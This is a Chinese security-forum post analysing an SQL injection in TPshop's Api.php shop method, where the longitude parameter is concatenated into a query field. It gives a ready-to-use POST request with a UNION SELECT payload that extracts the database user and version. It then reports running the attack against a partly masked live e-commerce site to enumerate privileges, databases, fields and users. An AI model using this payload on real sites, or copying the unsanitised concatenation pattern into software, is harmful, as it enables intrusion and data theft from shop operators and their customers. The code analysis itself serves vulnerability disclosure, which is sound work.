0x01 前言

TPshop是国内应用范围大、覆盖面广的电商软件产品,基于此,历经5年的时间,而发展成为国内先进的具备成熟且标准化的电商平台技术解决方案提供商。“TPshop” 的每一次新产品发布都引带头中国电商软件研发领域的潮流,持续为中国电子商务服务行业。同时公司建立了由多名科学家构成的行业及技术研究中心,对电商行业发展趋势、软件产品架构、技术性、新技术应用与创新等都做出了卓越贡献。

代码来源:

http://www.tp-shop.cn/download/

0x02 分析

跟踪到/application/home/controller/Api.php控制器中的shop方法:

流程分析:

379~384 Line: 获取外部输入并赋值给变量
385~387 Line: $province_id、$province_id、$district_id判断以上三个遍历是否为空,若成立返回空的json
388 Line: 将$province_id、$city_id、$district_id放入$where数组中以供SQL查询
389 Line: 定义变量$field并赋值为*
390 Line: 定义变量$order并赋值为shop_id desc
391 Line: 判断变量$longitude是否为真
392 Line: 将$longitude、$latitude拼接到SQL语句中并赋值到$field中
393 Line: 将$order赋值为distance ASC
395 Line: 判断$shop_address是否为真
396 Line: 将$shop_address放入$where数组中以供SQL查询
399 Line: 带入SQL查询

代码调试:

通过代码分析后发现$field传入方法field中,并不会将这个变量中的值预编译,而是直接带入中执行,接着来调试!在399行后添加代码如下:

print Db::name('region')->getlastsql();

getlastsql方法在tp框架中是返回SQL语句也可以说是监听,接着往下走,访问

http://localhost:8083/index.php/home/api/shop

POST包:

province_id=1&city_id=2&district_id=1&shop_address=aaaa&latitude=1&longitude=1

longitude参数赋值为1’

可以看到程序已经抛出了异常,MySQL执行错误,最终Payload如下:

province_id=1&city_id=2&district_id=1&shop_address=aaaa&latitude=1&longitude=1- latitude)* 111),2))),2) AS distance FROM `tp_shop` WHERE `deleted` = :where_deleted AND `shop_status` = :where_shop_status AND `province_id` = :where_province_id AND `city_id` = :where_city_id AND `district_id` = :where_district_id AND ( `shop_name` LIKE :where_shop_name OR `shop_address` LIKE :where_shop_address ) UNION(SELECT(user()),(version()),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29))%23

(实战中需根据字段数调整一下Payload)

漏洞复现:

示例站:http://www.e******.com/index.php/home/api/shop
字段数:28

查权限:

查库名:

查字段:

查用户:

(复现来源于互联网,如有打码不严还请手下留情。)

0x03 总结

贵州白马会头牌提醒您,代码千万行,安全第一条,开发(PDO)不规范,系统被插惨。

点击收藏 | 0 关注 | 1
登录 后跟帖